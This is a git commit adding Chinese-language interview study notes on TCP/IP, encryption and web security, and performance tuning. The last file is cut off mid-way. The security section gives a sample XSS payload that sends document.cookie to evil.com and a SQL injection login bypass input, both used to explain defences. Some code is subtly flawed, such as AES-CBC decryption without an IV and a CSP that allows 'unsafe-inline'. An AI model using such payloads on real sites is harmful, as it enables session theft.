refactor: rename files to Chinese and organize by category

Organized 50 interview questions into 12 categories:
- 01-分布式系统 (9 files): 分布式事务, 分布式锁, 一致性哈希, CAP理论, etc.
- 02-数据库 (2 files): MySQL索引优化, MyBatis核心原理
- 03-缓存 (5 files): Redis数据结构, 缓存问题, LRU算法, etc.
- 04-消息队列 (1 file): RocketMQ/Kafka
- 05-并发编程 (4 files): 线程池, 设计模式, 限流策略, etc.
- 06-JVM (1 file): JVM和垃圾回收
- 07-系统设计 (8 files): 秒杀系统, 短链接, IM, Feed流, etc.
- 08-算法与数据结构 (4 files): B+树, 红黑树, 跳表, 时间轮
- 09-网络与安全 (3 files): TCP/IP, 加密安全, 性能优化
- 10-中间件 (4 files): Spring Boot, Nacos, Dubbo, Nginx
- 11-运维 (4 files): Kubernetes, CI/CD, Docker, 可观测性
- 12-面试技巧 (1 file): 面试技巧和职业规划

All files renamed to Chinese for better accessibility and
organized into categorized folders for easier navigation.

Generated with [Claude Code](https://claude.com/claude-code)
via [Happy](https://happy.engineering)

Co-Authored-By: Claude <noreply@anthropic.com>
Co-Authored-By: Happy <yesreply@happy.engineering>
This commit is contained in:
yasinshaw
2026-03-01 00:10:53 +08:00
parent fe2e6dc2f2
commit 0e46a367c4
47 changed files with 0 additions and 0 deletions

View File

@@ -0,0 +1,577 @@
# TCP/IP 网络协议
## 问题
1. TCP 和 UDP 的区别是什么?
2. TCP 三次握手和四次挥手的流程是什么?为什么需要三次握手?
3. TCP 如何保证可靠传输?
4. 什么是 SYN 洪水攻击?如何防范?
5. HTTP 和 HTTPS 的区别是什么?
6. HTTP 1.1、2.0、3.0 的演进历程和主要特性
7. 什么是粘包和拆包?如何解决?
8. 在实际项目中遇到过哪些网络问题?
---
## 标准答案
### 1. TCP vs UDP
#### **对比表**
| 特性 | TCP | UDP |
|------|-----|-----|
| **连接性** | 面向连接 | 无连接 |
| **可靠性** | 可靠传输 | 不可靠 |
| **顺序** | 保证顺序 | 不保证顺序 |
| **速度** | 较慢 | 快 |
| **流量控制** | 有(滑动窗口) | 无 |
| **拥塞控制** | 有 | 无 |
| **首部开销** | 20-60 字节 | 8 字节 |
| **应用场景** | 文件传输、邮件、HTTP | 视频流、直播、DNS |
---
#### **TCP 特性**
**面向连接**
```
客户端 服务器
│ │
│─────── SYN ───────────────→│ 建立连接
│←────── SYN+ACK ────────────│
│─────── ACK ───────────────→│
│ │
│─────── 数据 ───────────────→│
│←─────── ACK ───────────────│
│ │
│─────── FIN ───────────────→│ 断开连接
│←─────── ACK ───────────────│
│←────── FIN ────────────────│
│─────── ACK ───────────────→│
```
**可靠传输**
- 确认应答ACK
- 超时重传
- 校验和
- 序列号
**流量控制**
- 滑动窗口协议
- 动态调整窗口大小
---
#### **UDP 特性**
**无连接、不可靠**
```
客户端 服务器
│ │
│─────── 数据报 ─────────────→│ (可能丢失)
│─────── 数据报 ─────────────→│ (可能乱序)
│ │
│ │
```
**优点**
- 速度快(无连接、无确认)
- 开销小(首部 8 字节)
- 支持一对一、一对多、多对多
**应用场景**
- 视频直播(可容忍丢帧)
- 在线游戏(实时性要求高)
- DNS 查询(请求响应快)
- VoIP语音通话
---
### 2. TCP 三次握手和四次挥手
#### **三次握手**
**流程**
```
客户端 服务器
│ │
│─────── SYN=1, seq=x ──────→│ SYN_SENT
│ │
│←───── SYN=1, ACK=1, seq=y, ack=x+1 ───│
│ SYN_RCVD │
│ │
│─────── ACK=1, seq=x+1, ack=y+1 ────→│ ESTABLISHED
│ ESTABLISHED │
```
**状态变化**
```
客户端CLOSED → SYN_SENT → ESTABLISHED
服务器CLOSED → LISTEN → SYN_RCVD → ESTABLISHED
```
---
#### **为什么需要三次握手?**
**目的**
1. **确认双方收发能力**
- 第一次握手:服务端确认客户端能发
- 第二次握手:客户端确认服务端能收能发
- 第三次握手:服务端确认客户端能收
2. **防止已失效的连接请求突然又传送到服务端**
```
场景:客户端发送的第一个连接请求在网络中滞留
结果:客户端超时重发,建立连接后,滞留的请求到达
如果只有两次握手:
─ 客户端发送 SYN
─ 服务器收到,建立连接,等待数据
─ 滞留的 SYN 到达,服务器又建立连接(错误!)
三次握手避免:
─ 服务器收到滞留的 SYN回复 SYN+ACK
─ 客户端发现 ack 不对,丢弃(不建立连接)
```
3. **同步初始序列号ISN**
- 双方协商好初始序列号
- 保证数据的顺序和去重
---
#### **四次挥手**
**流程**
```
客户端 服务器
│ │
│─────── FIN=1, seq=u ──────→│ FIN_WAIT1
│ │ CLOSE_WAIT
│←─────── ACK=1, seq=v, ack=u+1 ───│
│ FIN_WAIT2 │
│ │
│←─────── FIN=1, ACK=1, seq=w, ack=u+1 ───│
│ TIME_WAIT │ LAST_ACK
│ │
│─────── ACK=1, seq=u+1, ack=w+1 ────→│ CLOSED
│ (等待 2MSL) │
```
**状态变化**
```
客户端ESTABLISHED → FIN_WAIT1 → FIN_WAIT2 → TIME_WAIT → CLOSED
服务器ESTABLISHED → CLOSE_WAIT → LAST_ACK → CLOSED
```
---
#### **为什么需要四次挥手?**
**原因**
- TCP 是**全双工**协议(双向传输)
- 双方都需要关闭发送方向
**流程**
1. 客户端发送 FIN关闭客户端→服务器方向
2. 服务器确认 ACK但服务器可能还有数据要发送
3. 服务器发送 FIN关闭服务器→客户端方向
4. 客户端确认 ACK
---
#### **为什么 TIME_WAIT 状态需要等待 2MSL**
**MSLMaximum Segment Lifetime**
- 报文最大生存时间(通常 30 秒 - 2 分钟)
- 2MSL = 1 分钟 - 4 分钟
**目的**
1. **确保最后一个 ACK 能到达**
- 如果 ACK 丢失,服务器会重传 FIN
- 客户端等待 2MSL可以重传 ACK
2. **让旧连接的报文自然消失**
- 防止旧连接的报文干扰新连接
- 确保网络中所有旧报文都已消失
**问题**
- 大量 TIME_WAIT 会导致端口资源耗尽
- 解决:调低 `TIME_WAIT` 时间或端口复用
```bash
# Linux 调整
net.ipv4.tcp_tw_reuse = 1 # 端口复用
net.ipv4.tcp_tw_recycle = 0 # 关闭快速回收(有坑)
```
---
### 3. TCP 可靠传输机制
#### **核心机制**
1. **序列号Sequence Number**
- 每个字节都有编号
- 用于排序和去重
2. **确认应答ACK**
- 接收方确认收到的数据
- ACK = 下一个期望接收的字节序号
```
发送方seq=1000, len=100
接收方ack=1100期待下一个字节
```
3. **超时重传RTO**
- 发送方启动定时器
- 超时未收到 ACK重传数据
4. **快速重传**
- 收到 3 个重复 ACK立即重传
- 无需等待超时
```
发送方seq=1000, len=100
接收方:期望 1100但收到 1200乱序
接收方:连续发送 ack=11003 次)
发送方:收到 3 个重复 ack快速重传
```
5. **滑动窗口**
- 流量控制
- 动态调整发送速率
6. **拥塞控制**
- 慢启动、拥塞避免、快重传、快恢复
---
### 4. SYN 洪水攻击
#### **攻击原理**
**场景**:攻击者发送大量 SYN 包,但不完成三次握手。
```
攻击者 服务器
│ │
├─── SYN ─────────────────────→│ 分配资源
├─── SYN ─────────────────────→│ 分配资源
├─── SYN ─────────────────────→│ 分配资源
├─── SYN ─────────────────────→│ 分配资源
│ (不回复 ACK) │ 资源耗尽
│ │ 无法服务正常用户
```
**后果**
- 服务器维护大量 `SYN_RCVD` 连接
- 内存资源耗尽
- 无法响应正常用户的连接请求
---
#### **防范措施**
**1. SYN Cookies**
```bash
# 开启 SYN Cookies
net.ipv4.tcp_syncookies = 1
```
**原理**
- 不分配资源
- 计算 Cookie 并编码在 SYN+ACK 的初始序列号中
- 客户端回复 ACK 时验证 Cookie
**2. 增加 SYN 队列**
```bash
net.ipv4.tcp_max_syn_backlog = 8192
```
**3. 缩短超时时间**
```bash
net.ipv4.tcp_synack_retries = 2
```
**4. 防火墙**
- 限制单个 IP 的连接数
- 检测异常流量并拦截
---
### 5. HTTP vs HTTPS
#### **对比**
| 特性 | HTTP | HTTPS |
|------|------|-------|
| **协议** | 应用层 | 应用层 + 安全层SSL/TLS |
| **端口** | 80 | 443 |
| **加密** | 明文传输 | 加密传输 |
| **证书** | 不需要 | 需要 CA 证书 |
| **性能** | 快 | 较慢TLS 握手) |
| **SEO** | 无优惠 | 搜索引擎优先排名 |
---
#### **HTTPS 工作流程**
```
客户端 服务器
│ │
│─────── ClientHello ────────────→│ (支持的加密套件)
│ │
│←────── ServerHello ─────────────│ (选择的加密套件 + 证书)
│←────── Certificate ─────────────│
│ │
│─────── ClientKeyExchange ─────→│ (生成随机数)
│─────── ChangeCipherSpec ───────→│ (之后消息加密)
│─────── Finished ───────────────→│
│ │
│←────── ChangeCipherSpec ────────│
│←────── Finished ────────────────│
│ │
│══════ 加密通信 ══════════════════│
```
---
#### **HTTPS 的安全性**
1. **数据加密**:防止中间人窃听
2. **数据完整性**:防止数据被篡改
3. **身份认证**:防止钓鱼网站
---
### 6. HTTP 版本演进
#### **HTTP/1.0**
**特点**
- 每个请求都需要新的 TCP 连接
- 无状态、无连接
**问题**
- 性能差(频繁建立连接)
- 队头阻塞
---
#### **HTTP/1.1**
**改进**
1. **持久连接**`Connection: keep-alive`
2. **管道化Pipelining**:可发送多个请求
3. **分块传输**`Transfer-Encoding: chunked`
4. **缓存**:更强的缓存控制
**问题**
- 队头阻塞仍然存在
- 请求串行执行
---
#### **HTTP/2.0**
**改进**
1. **二进制协议**:不再是纯文本
2. **多路复用**:一个 TCP 连接并发多个请求
3. **头部压缩**HPACK 算法
4. **服务端推送**Server Push
**多路复用**
```
HTTP/1.1
请求1 → ━━━ 连接1 ━━━ → 响应1
请求2 → ━━━ 连接2 ━━━ → 响应2
请求3 → ━━━ 连接3 ━━━ → 响应3
HTTP/2.0
请求1 ┓
请求2 ┣━━━━ 单连接 ━━━→ ┳ 响应1
请求3 ┛ ┻ 响应2
响应3
```
---
#### **HTTP/3.0QUIC**
**改进**
1. **基于 UDP**:不再是 TCP
2. **解决队头阻塞**:流级别隔离
3. **更快握手**0-RTT
4. **连接迁移**IP 变化不影响连接
**架构**
```
HTTP/3.0
QUICUDP
加密、可靠传输、流控制
```
---
### 7. 粘包和拆包
#### **问题**
**TCP 是字节流协议**,无消息边界:
```
发送方发送两个包:
┌──────┐ ┌──────┐
│ 包1 │ │ 包2 │
└──────┘ └──────┘
接收方可能收到:
1. 正常:┌──────┐┌──────┐
2. 粘包:┌──────┐┌──────┐(两个包粘在一起)
3. 拆包:┌────┐ ┌──┐┌──┐┌────┐(包被拆散)
```
---
#### **解决方案**
**1. 固定长度**
```
每个包固定 100 字节
优点:简单
缺点:浪费空间(短消息)
```
**2. 分隔符**
```
每个包以 \n 结束
优点:实现简单
缺点:内容中不能有分隔符
```
**3. 长度字段(推荐)**
```
┌────┬──────────┐
│长度│ 数据 │
└────┴──────────┘
实现Netty 的 LengthFieldBasedFrameDecoder
```
**Netty 示例**
```java
// 服务端
public class Server {
public static void main(String[] args) {
EventLoopGroup bossGroup = new NioEventLoopGroup();
EventLoopGroup workerGroup = new NioEventLoopGroup();
try {
ServerBootstrap bootstrap = new ServerBootstrap();
bootstrap.group(bossGroup, workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
// 解决粘包拆包:长度字段解码器
ch.pipeline().addLast(new LengthFieldBasedFrameDecoder(
1024 * 1024, // 最大帧长度
4, // 长度字段偏移量
4, // 长度字段长度
0, // 长度调整值
4 // 剥离的字节数
));
ch.pipeline().addLast(new MessageHandler());
}
});
bootstrap.bind(8080).sync().channel().closeFuture().sync();
} finally {
bossGroup.shutdownGracefully();
workerGroup.shutdownGracefully();
}
}
}
// 消息编解码
public class MessageEncoder extends MessageToByteEncoder<Message> {
@Override
protected void encode(ChannelHandlerContext ctx, Message msg, ByteBuf out) {
byte[] data = msg.getBody().getBytes();
out.writeInt(data.length); // 长度字段
out.writeBytes(data); // 数据字段
}
}
```
---
### 8. 实际项目经验
#### **案例 1TCP 长连接异常断开**
**问题**
- 客户端崩溃,服务器未收到 FIN
- 服务器维护大量死连接
**解决**
```java
// 启用 TCP Keep-Alive
socket.setKeepAlive(true);
// 应用层心跳
@Scheduled(fixedRate = 30000)
public void sendHeartbeat() {
channel.writeAndFlush(new HeartbeatMessage());
}
// 超时断开
ch.pipeline().addLast(new IdleStateHandler(60, 0, 0, TimeUnit.SECONDS));
ch.pipeline().addLast(new HeartbeatHandler());
```
---
#### **案例 2HTTPS 性能优化**
**问题**
- HTTPS 握手耗时 200ms+
- 高并发下性能差
**解决**
1. **HTTP/2 多路复用**
2. **TLS False Start**:减少 1 个 RTT
3. **Session Resumption**:恢复会话
4. **HSTS**:强制 HTTPS避免重定向
---
### 9. 阿里 P7 加分项
**深度理解**
- 理解 TCP 的拥塞控制算法( Reno、Cubic、BBR
- 理解 QUIC 协议的设计原理
- 理解 TLS 1.3 的改进0-RTT、加密握手
**实战经验**
- 有处理网络抖动导致的连接不稳定问题
- 有 TCP 参数调优经验
- 有 HTTPS 性能优化经验
**架构能力**
- 能设计高性能的网络通信框架
- 能设计跨地域的网络架构
- 有网络监控和故障排查经验
**技术选型**
- 了解 gRPC、Thrift 等 RPC 框架
- 了解 Netty、Mina 等网络框架
- 能根据业务特点选择合适的协议

View File

@@ -0,0 +1,617 @@
# 加密与安全
## 问题
1. 对称加密和非对称加密的区别是什么?
2. Base64 是加密吗?为什么?
3. 什么是数字签名?如何防止数据篡改?
4. HTTPS 中的 TLS 握手过程是怎样的?
5. 什么是中间人攻击?如何防范?
6. SQL 注入和 XSS 攻击的原理和防范措施?
7. 密码存储的最佳实践是什么?
8. 在实际项目中如何保证数据安全?
---
## 标准答案
### 1. 对称加密 vs 非对称加密
#### **对称加密**
**特点**:加密和解密使用同一个密钥。
```
加密:明文 + 密钥 → 密文
解密:密文 + 密钥 → 明文
```
**常见算法**
- **AES**Advanced Encryption Standard推荐
- **DES**Data Encryption Standard已过时密钥太短
- **3DES**DES 的改进,但速度慢
- **RC4**:已不安全
**Java 示例**
```java
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import java.util.Base64;
public class AESExample {
public static void main(String[] args) throws Exception {
// 生成密钥
KeyGenerator keyGen = KeyGenerator.getInstance("AES");
keyGen.init(256); // AES-256
SecretKey secretKey = keyGen.generateKey();
// 加密
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
byte[] encrypted = cipher.doFinal("Hello World".getBytes());
System.out.println("加密:" + Base64.getEncoder().encodeToString(encrypted));
// 解密
cipher.init(Cipher.DECRYPT_MODE, secretKey);
byte[] decrypted = cipher.doFinal(encrypted);
System.out.println("解密:" + new String(decrypted));
}
}
```
**优点**
- 速度快(比非对称加密快 100-1000 倍)
- 适合加密大量数据
**缺点**
- 密钥分发困难(如何安全地共享密钥?)
---
#### **非对称加密**
**特点**:加密和解密使用不同的密钥(公钥和私钥)。
```
公钥加密:明文 + 公钥 → 密文
私钥解密:密文 + 私钥 → 明文
或者:
私钥签名:明文 + 私钥 → 签名
公钥验签:签名 + 公钥 → 验证
```
**常见算法**
- **RSA**:最常用
- **ECC**(椭圆曲线加密):密钥更短,速度更快
- **DSA**:数字签名算法
**Java 示例**
```java
import java.security.*;
import javax.crypto.Cipher;
import java.util.Base64;
public class RSAExample {
public static void main(String[] args) throws Exception {
// 生成密钥对
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
keyGen.initialize(2048);
KeyPair keyPair = keyGen.generateKeyPair();
PublicKey publicKey = keyPair.getPublic();
PrivateKey privateKey = keyPair.getPrivate();
// 公钥加密
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
byte[] encrypted = cipher.doFinal("Hello World".getBytes());
System.out.println("加密:" + Base64.getEncoder().encodeToString(encrypted));
// 私钥解密
cipher.init(Cipher.DECRYPT_MODE, privateKey);
byte[] decrypted = cipher.doFinal(encrypted);
System.out.println("解密:" + new String(decrypted));
}
}
```
**优点**
- 无需安全分发密钥(公钥可以公开)
- 可用于数字签名
**缺点**
- 速度慢(比对称加密慢 100-1000 倍)
- 不适合加密大量数据
---
#### **混合加密HTTPS 使用)**
```
1. 使用非对称加密协商对称密钥
2. 使用对称密钥加密数据
```
**优点**
- 结合两者优点(安全 + 速度)
---
### 2. Base64 是加密吗?
**答案:不是!**
**Base64 是编码,不是加密。**
**目的**
- 将二进制数据转换为 ASCII 字符串
- 方便在文本协议中传输(如 HTTP、Email
**原理**
```
二进制01001000 0110101 01011011
Base64SGVsbG8=
编码表64 个字符):
A-Z (26) + a-z (26) + 0-9 (10) + + / (2) = 64
```
**特点**
- 可逆(可解码)
- 无密钥(任何人都能解码)
- 数据会增大 33%
**示例**
```java
import java.util.Base64;
public class Base64Example {
public static void main(String[] args) {
String original = "Hello World";
// 编码
String encoded = Base64.getEncoder().encodeToString(original.getBytes());
System.out.println("编码:" + encoded); // SGVsbG8gV29ybGQ=
// 解码
String decoded = new String(Base64.getDecoder().decode(encoded));
System.out.println("解码:" + decoded); // Hello World
}
}
```
**错误用法**
```java
// ❌ 用 Base64 存储密码(不安全)
String password = "123456";
String encoded = Base64.getEncoder().encodeToString(password.getBytes());
// 存储到数据库
// 攻击者可以直接解码!
```
---
### 3. 数字签名
#### **原理**
数字签名用于验证:
1. **完整性**:数据未被篡改
2. **身份认证**:发送者确实是声称的人
3. **不可抵赖**:发送者无法否认发送过
**流程**
```
发送方(签名):
1. 对原文计算哈希hash = SHA256(原文)
2. 用私钥加密哈希signature = RSA_Encrypt(hash, 私钥)
3. 发送:原文 + signature
接收方(验签):
1. 对原文计算哈希hash1 = SHA256(原文)
2. 用公钥解密签名hash2 = RSA_Decrypt(signature, 公钥)
3. 对比 hash1 和 hash2
- 相同 → 签名有效
- 不同 → 数据被篡改
```
---
#### **Java 实现**
```java
import java.security.*;
import java.util.Base64;
public class DigitalSignatureExample {
public static void main(String[] args) throws Exception {
// 生成密钥对
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
keyGen.initialize(2048);
KeyPair keyPair = keyGen.generateKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
PublicKey publicKey = keyPair.getPublic();
// 待签名数据
String data = "重要合同内容";
// 签名
Signature signature = Signature.getInstance("SHA256withRSA");
signature.initSign(privateKey);
signature.update(data.getBytes());
byte[] signatureBytes = signature.sign();
System.out.println("签名:" + Base64.getEncoder().encodeToString(signatureBytes));
// 验签
signature.initVerify(publicKey);
signature.update(data.getBytes());
boolean isValid = signature.verify(signatureBytes);
System.out.println("验签结果:" + isValid);
}
}
```
---
#### **实际应用**
1. **软件签名**:验证软件来源
2. **代码签名**:防止代码被篡改
3. **PDF 签名**:电子合同
4. **JWTJSON Web Token**API 认证
```java
// JWT 示例
String token = Jwts.builder()
.setSubject("user123")
.signWith(Keys.hmacShaKeyFor(secretKey), SignatureAlgorithm.HS256)
.compact();
// 验证 JWT
Claims claims = Jwts.parserBuilder()
.setSigningKey(secretKey)
.build()
.parseClaimsJws(token)
.getBody();
```
---
### 4. SQL 注入攻击
#### **原理**
攻击者在输入中注入恶意 SQL 代码。
**示例**
```java
// ❌ 不安全的代码(拼接 SQL
String username = request.getParameter("username");
String password = request.getParameter("password");
String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
// 攻击者输入:
username = "admin' OR '1'='1";
password = "anything"
// 实际执行的 SQL
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'
// 结果:永远为真,绕过密码验证!
```
**危害**
- 绕过认证
- 窃取数据
- 删除数据
- 提升权限
---
#### **防范措施**
**1. 使用预编译语句PreparedStatement**
```java
// ✅ 安全代码
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
```
**原理**参数化查询SQL 结构固定,参数不会被解析为 SQL 代码。
---
**2. 输入验证**
```java
// 验证用户名格式
if (!username.matches("^[a-zA-Z0-9_]{3,20}$")) {
throw new IllegalArgumentException("用户名格式不正确");
}
```
---
**3. 最小权限原则**
```sql
-- 应用用户只授予必要权限
GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'app_user'@'localhost';
-- 不要授予 DROP、ALTER 等危险权限
```
---
**4. 使用 ORM**
```java
// JPA/Hibernate 自动防止 SQL 注入
User user = userRepository.findByUsernameAndPassword(username, password);
```
---
### 5. XSS 攻击(跨站脚本攻击)
#### **原理**
攻击者在网页中注入恶意 JavaScript 代码。
**示例**
```html
<!-- 用户输入评论 -->
<script>
// 攻击者注入的代码
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>
```
**危害**
- 窃取 Cookie
- 会话劫持
- 重定向到钓鱼网站
- 篡改网页内容
---
#### **防范措施**
**1. 输出转义**
```java
// 使用 Spring 的 HTML 转义
import org.springframework.web.util.HtmlUtils;
String userInput = "<script>alert('XSS')</script>";
String escaped = HtmlUtils.htmlEscape(userInput);
// 输出:&lt;script&gt;alert('XSS')&lt;/script&gt;
```
---
**2. CSPContent Security Policy**
```http
# HTTP
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
```
---
**3. HttpOnly Cookie**
```java
// 设置 Cookie 为 HttpOnlyJavaScript 无法访问)
Cookie cookie = new Cookie("session", token);
cookie.setHttpOnly(true);
cookie.setSecure(true); // 仅 HTTPS 传输
response.addCookie(cookie);
```
---
**4. 输入验证**
```java
// 白名单验证
if (!comment.matches("[a-zA-Z0-9 \\u4e00-\\u9fa5]+")) {
throw new IllegalArgumentException("评论包含非法字符");
}
```
---
### 6. 密码存储
#### **错误做法**
```java
// ❌ 明文存储
password = "123456";
// ❌ Base64 编码(可逆)
password = Base64.getEncoder().encodeToString("123456".getBytes());
// ❌ MD5 哈希(易被彩虹表破解)
password = DigestUtils.md5Hex("123456"); // e10adc3949ba59abbe56e057f20f883e
```
---
#### **正确做法BCrypt**
**特点**
- 自动加盐Salt
- 慢哈希(防暴力破解)
- 可调整计算成本
```java
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
public class PasswordExample {
public static void main(String[] args) {
BCryptPasswordEncoder encoder = new BCryptPasswordEncoder();
// 加密(自动加盐)
String rawPassword = "123456";
String encodedPassword = encoder.encode(rawPassword);
System.out.println("加密后:" + encodedPassword);
// 输出:$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
// 验证
boolean matches = encoder.matches(rawPassword, encodedPassword);
System.out.println("验证结果:" + matches); // true
}
}
```
---
#### **密码存储最佳实践**
1. **使用慢哈希算法**
- BCrypt推荐
- Argon2最新
- PBKDF2
- Scrypt
2. **每个密码独立的盐**
```java
salt = random_bytes(16);
hashed_password = hash(password + salt);
```
3. **调整计算成本**
```java
// BCrypt 成本参数10-12 为宜)
BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12);
```
4. **不要自己发明加密算法**
---
### 7. HTTPS 完整流程
```
客户端 服务器
│ │
│─────── ClientHello ────────────→│
支持的加密套件、随机数1
│ │
│←────── ServerHello ─────────────│
选择的加密套件、随机数2、证书
│←────── Certificate ─────────────│
│ │
│─────── 验证证书 ────────────────│
│ (检查 CA 签名、有效期等) │
│ │
│─────── 生成随机数3 ─────────────→│
│─────── 用公钥加密随机数3 ─────────→│
│ │
│ 服务器用私钥解密
│ 生成会话密钥:
│ master_secret = PRF(随机数1, 随机数2, 随机数3)
│ │
│←─────── ChangeCipherSpec ────────│
│←─────── Finished ────────────────│
│ (用会话密钥加密,证明安全) │
│ │
│─────── ChangeCipherSpec ─────────→│
│─────── Finished ────────────────→│
│ (用会话密钥加密) │
│ │
│══════ 加密通信 ══════════════════│
│ (使用会话密钥对称加密) │
```
---
### 8. 中间人攻击
#### **原理**
攻击者拦截并可能篡改通信双方的通信内容。
```
客户端 攻击者 服务器
│ │ │
├─── HTTPS 请求 ────→│ │
│ ├─── 伪造请求 ───────→│
│ │ │
│←──── 伪造响应 ──────│←──── 真实响应 ──────│
│←────────────────────│ │
```
---
#### **防范措施**
**1. HTTPS + 证书验证**
- 验证服务器证书
- 检查证书链
- 验证证书有效期
**2. HSTSHTTP Strict Transport Security**
```http
Strict-Transport-Security: max-age=31536000; includeSubDomains
```
**3. 证书固定Certificate Pinning**
```java
// 移动应用中固定证书
public class CertificatePinner {
private static final String KNOWN_CERT = "SHA256:AAAAAAAAA...";
public void verifyCertificate(X509Certificate cert) {
String certHash = calculateCertificateHash(cert);
if (!certHash.equals(KNOWN_CERT)) {
throw new SSLException("证书不匹配");
}
}
}
```
---
### 9. 实际项目安全实践
#### **安全检查清单**
- [ ] 所有用户输入都经过验证和转义
- [ ] 密码使用 BCrypt 存储且每次加不同的盐
- [ ] 敏感数据在传输时使用 HTTPS 加密
- [ ] 敏感数据在存储时使用 AES 加密
- [ ] API 使用 JWT 或 OAuth2 认证
- [ ] 实施 CSRF 防护CSRF Token
- [ ] 实施 CORS 限制
- [ ] 设置安全响应头CSP、X-Frame-Options 等)
- [ ] 定期进行安全审计和渗透测试
- [ ] 使用依赖扫描工具检查漏洞
---
### 10. 阿里 P7 加分项
**深度理解**
- 理解各种加密算法的数学原理
- 理解 TLS 1.3 的改进
- 理解零知识证明等高级加密技术
**实战经验**
- 有处理线上安全漏洞的经验
- 有设计安全架构的经验
- 有加密性能优化的经验
**架构能力**
- 能设计安全的认证和授权体系
- 能设计数据加密方案
- 能制定安全开发规范
**合规要求**
- 了解 GDPR、等保等安全合规要求
- 有安全审计和风险评估经验

View File

@@ -0,0 +1,603 @@
# 性能优化
## 问题
1. 性能优化的常见思路和方法有哪些?
2. 如何进行系统性能瓶颈分析?
3. 数据库性能优化有哪些方法?
4. JVM 性能调优的常见问题和解决方案?
5. 接口性能优化有哪些技巧?
6. 如何进行全链路压测?
7. 在实际项目中如何进行性能优化?
---
## 标准答案
### 1. 性能优化思路
#### **优化原则**
1. **测量优先**:先测量,后优化
2. **抓大放小**:优化瓶颈,而非所有地方
3. **数据驱动**:用数据说话
4. **权衡取舍**:优化往往带来复杂性
---
#### **优化层次**
```
用户响应时间
前端优化减少请求、CDN、缓存
网络优化(减少 RTT、压缩
后端优化(代码、算法、并发)
数据库优化(索引、分库分表)
操作系统优化TCP、内核参数
硬件优化CPU、内存、磁盘、网络
```
---
### 2. 性能瓶颈分析
#### **分析工具**
**1. CPU 分析**
```bash
# top 命令
top -p <pid>
# 查看 CPU 使用率
%CPU: 80.5
# 查看线程 CPU
top -H -p <pid>
```
**2. 内存分析**
```bash
# 查看内存使用
free -h
# 查看进程内存
ps aux | grep java
# JVM 堆内存
jmap -heap <pid>
```
**3. 磁盘 I/O**
```bash
# iostat
iostat -x 1
# 查看 I/O 等待
%iowait: 15.2 # 高说明磁盘瓶颈
```
**4. 网络 I/O**
```bash
# 查看网络连接
netstat -anp | grep <pid>
# 查看网络流量
iftop
```
---
#### **Java 性能分析工具**
**1. JProfiler**
- CPU Profiler
- Memory Profiler
- Thread Profiler
**2. Arthas阿里开源**
```bash
# 安装
curl -O https://arthas.aliyun.com/arthas-boot.jar
java -jar arthas-boot.jar
# 查看 CPU 最高的线程
dashboard
# 查看方法调用耗时
trace com.example.UserService getUser
# 查看类加载
sc -d com.example.User
```
**3. VisualVM**
- JDK 自带
- 可视化界面
---
### 3. 数据库性能优化
#### **优化层次**
```
SQL 优化
索引优化
表结构优化
数据库配置优化
架构优化(读写分离、分库分表)
```
---
#### **SQL 优化**
**1. 避免 SELECT \***
```sql
-- ❌ 查询所有列
SELECT * FROM users WHERE id = 1;
-- ✅ 只查询需要的列
SELECT id, name, email FROM users WHERE id = 1;
```
**2. 避免 IN 子查询**
```sql
-- ❌ 子查询
SELECT * FROM orders WHERE user_id IN (SELECT id FROM users WHERE status = 1);
-- ✅ JOIN
SELECT o.* FROM orders o
INNER JOIN users u ON o.user_id = u.id
WHERE u.status = 1;
```
**3. 批量操作**
```sql
-- ❌ 单条插入
INSERT INTO orders (id, user_id) VALUES (1, 100);
INSERT INTO orders (id, user_id) VALUES (2, 100);
INSERT INTO orders (id, user_id) VALUES (3, 100);
-- ✅ 批量插入
INSERT INTO orders (id, user_id) VALUES
(1, 100),
(2, 100),
(3, 100);
```
**4. 使用 UNION ALL 代替 UNION**
```sql
-- ❌ UNION去重
SELECT name FROM users_a
UNION
SELECT name FROM users_b;
-- ✅ UNION ALL不去重
SELECT name FROM users_a
UNION ALL
SELECT name FROM users_b;
```
---
#### **索引优化**
**1. 创建合适的索引**
```sql
-- 为查询条件创建索引
CREATE INDEX idx_user_id ON orders(user_id);
-- 为排序创建索引
CREATE INDEX idx_created_at ON orders(created_at);
-- 联合索引(注意最左前缀)
CREATE INDEX idx_user_status ON orders(user_id, status);
```
**2. 避免索引失效**
```sql
-- ❌ 使用函数
SELECT * FROM orders WHERE YEAR(created_at) = 2024;
-- ✅ 范围查询
SELECT * FROM orders WHERE created_at >= '2024-01-01' AND created_at < '2025-01-01';
-- ❌ 隐式转换
SELECT * FROM users WHERE phone = 13800138000; -- phone 是 VARCHAR
-- ✅ 显式转换
SELECT * FROM users WHERE phone = '13800138000';
-- ❌ 前缀模糊查询
SELECT * FROM users WHERE name LIKE '%张';
-- ✅ 后缀模糊查询
SELECT * FROM users WHERE name LIKE '张%';
```
---
#### **表结构优化**
**1. 垂直拆分**
```sql
-- 拆分前(大表)
CREATE TABLE users (
id BIGINT PRIMARY KEY,
name VARCHAR(50),
email VARCHAR(100),
password VARCHAR(100),
intro TEXT, -- 简介(可能很长)
settings JSON, -- 设置
created_at DATETIME
);
-- 拆分后
CREATE TABLE users_base (
id BIGINT PRIMARY KEY,
name VARCHAR(50),
email VARCHAR(100),
password VARCHAR(100),
created_at DATETIME
);
CREATE TABLE users_ext (
